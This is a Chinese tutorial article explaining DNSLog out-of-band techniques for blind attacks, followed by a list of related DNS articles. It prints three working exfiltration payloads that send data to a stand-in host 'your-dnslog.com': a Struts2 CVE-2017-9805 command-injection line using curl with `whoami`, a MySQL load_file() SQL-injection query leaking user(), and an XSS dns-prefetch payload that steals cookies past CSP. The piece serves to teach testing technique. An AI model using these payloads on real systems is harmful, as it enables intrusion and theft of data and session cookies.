DNSLog使用方法及场景分析

 更新时间:2023年05月23日 10:20:39   作者:why so serious -a  
这篇文章主要介绍了DNSLog使用方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下

DNSLOG的原理

DNS的解析是递归与迭代相结合的,下面给出了当我们访问www.cloudcrowd.com.cn时,DNS的解析过程示意图。

其中,红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。

DNSLOG工具

如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:

https://github.com/BugScanTeam/DNSLog

另外我们也可以使用在线平台:

http://admin.dnslog.link

http://ceye.io

场景一:命令盲注回显

针对不回显的命令注入漏洞,我们很难确定漏洞的存在并进一步利用,如17年9月爆发的Struts2-052反序列化命令执行漏洞是看不到任何回显的,针对这种情况,我们可以利用DNSLOG来获取命令的执行结果。这里使用已有的EXP来完成漏洞利用,EXP地址为https://github.com/luc10/struts-rce-cve-2017-9805。

利用方式为go run main.go -u URL -c “command”。

Payload:

go run main.go -u http://www.exploit-target.com/struts2-rest-showcase/orders.xhtml -c 'curl "http://`whoami`.your-dnslog.com"'

根据语法规定,会先将双引号中的whoami命令执行并替换为结果,再执行整个的curl命令。可以在Web控制台下看到结果:

可以看到本来看不到的whoami回显root已经被我们接收到了。为了防止内容不适合作为域名的一部分,我们也可以base64编码后再进行请求。

场景二:SQL盲注回显

不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。

Payload: select load_file(concat(‘\\', user(), ‘.your-dnslog.com'));

可以在Web控制台下看到结果:

用户名已经被发送到了我们的服务器上。

场景三: XSS绕过CSP

CSP(内容安全策略)是防御XSS最有效的手段之一。当我们发现一个网站有XSS漏洞,想利用XSS平台来打Cookie时,CSP会通过白名单的方式,禁止跨域加载脚本,恶意代码便会因此被阻挡在门外,导致此XSS无法利用。对此,我们可以使用DNS预解析突破CSP的阻拦。

DNS预解析(DNS Prefetching)是一种能够加快网页加载速度的技术,对于跨站的链接,由于每次都要进行一次DNS解析,会消耗掉很多时间。DNS预解析在浏览器空闲时,将跨站资源的域名转化为IP 地址并缓存,真正请求资源时就避免了解析的时间。

有趣的是,DNS预解析是默认开启的,并且我们可以通过rel="dns-prefetch"来强制进行DNS预解析。由于DNS预解析可以绕过CSP进行解析,结合DNSLOG,我们即可窃取在CSP保护下的Cookie。

Payload:document.querySelector('body').innerHTML += "<link rel='dns-prefetch' href='" + window.btoa(document.cookie.split(/;|=/)[1]) + ".your-dnslog.com'>"

上面的Payload将Cookie中截取的重要字段进行简单的base64编码后,作为我们DNSLOG平台的二级域名,并在body中插入了相应的link标签对此域名进行强制DNS预解析。当触发XSS攻击时,可以在Web控制台下看到结果:

直接对R0ExLjIuMTY0MjI2NDMxNi4xNTMyNTc0NTg3解码即可得到Cookie。当然,这种方法的利用条件极为苛刻。首先,作为XSS攻击,此Payload过长,而使用短连接加载外部脚本则又会回到被CSP限制的原点;其次,根据DNS的规定,域名的长度是有限制的,有时可能无法将长Cookie完全带出。·本文仅分享一个抛砖引玉的思路,进一步的利用方式还有待开发。

结语

除了上面详细列出的例子之外,DNSLOG还可以利用在诸如Blind XXE和Blind SSRF之类的漏洞上,原理其实和命令盲注是一样的,在此不做详述。有兴趣的读者可以自行探索与验证。

到此这篇关于DNSLog使用方法的文章就介绍到这了,更多相关DNSLog使用方法内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • win2003 使用DNS服务器实现负载均衡

    win2003 使用DNS服务器实现负载均衡

    访问企业网服务器的用户急剧增加,一台服务器难以满足用户的访问需要,那么如何才能保证用户的正常访问呢?
    2011-07-07
  • Windows Server 2019 DNS服务器的配置与管理(理论篇)

    Windows Server 2019 DNS服务器的配置与管理(理论篇)

    这篇文章主要介绍了DNS(Domain Name System)域名系统,主要就是​ 实现域名与IP地址的相互转换,需要的朋友可以学习下
    2023-05-05
  • 深入理解DNSlog

    深入理解DNSlog

    本文主要介绍了深入理解DNSlog,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2023-05-05
  • 新网互联 域名 泛解析设置方法

    新网互联 域名 泛解析设置方法

    好多朋友需要使用泛解析,其实什么是泛解析,和泛解析有什么好处呢。大家看完这篇文章就知道了。
    2009-06-06
  • DNS原理及其解析过程剖析(图文)

    DNS原理及其解析过程剖析(图文)

    我们无法记住10个以上IP地址的网站,所以我们访问网站时,更多的是在浏览器地址栏中输入域名,就能看到所需要的页面,这是因为有一个叫DNS服务器的计算机自动把我们的域名翻译成了相应的IP地址,然后调出IP地址所对应的网页
    2012-09-09
  • Windows Server 2019 DNS服务器的配置与管理之DNS子域委派

    Windows Server 2019 DNS服务器的配置与管理之DNS子域委派

    这篇文章主要介绍了Windows Server 2019 DNS服务器的配置与管理之DNS子域委派,需要的朋友可以参考下
    2023-05-05
  • winmydns DNS服务器架设

    winmydns DNS服务器架设

    winmydns 一款dns服务器架设软件,大家可以参考下配置,自己的dns服务器。
    2009-06-06
  • 使用Unbound配置DNS缓存服务器的实现步骤

    使用Unbound配置DNS缓存服务器的实现步骤

    本文主要介绍了使用Unbound配置DNS缓存服务器的实现步骤,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2023-08-08
  • 图文详解添加DNS服务器的操作步骤

    图文详解添加DNS服务器的操作步骤

    在WindowsServer2003系统中默认的是将本地计算机作为DNS服务器的硬件设备,即将本地计算机的IP地址或名称指定给DNS服务器,下面为大家介绍下DNS服务器具体的添加步骤
    2013-12-12
  • DNS服务器 支持泛域名解析的设置方法 [修正版本]

    DNS服务器 支持泛域名解析的设置方法 [修正版本]

    很多企业都架设了多个Web站点来满足员工的工作需要,为了节省费用,这些网站通常采用虚拟主机技术,即在同一个服务器上架设多个网站,员工使用二级域名访问这些站点。
    2009-06-06

最新评论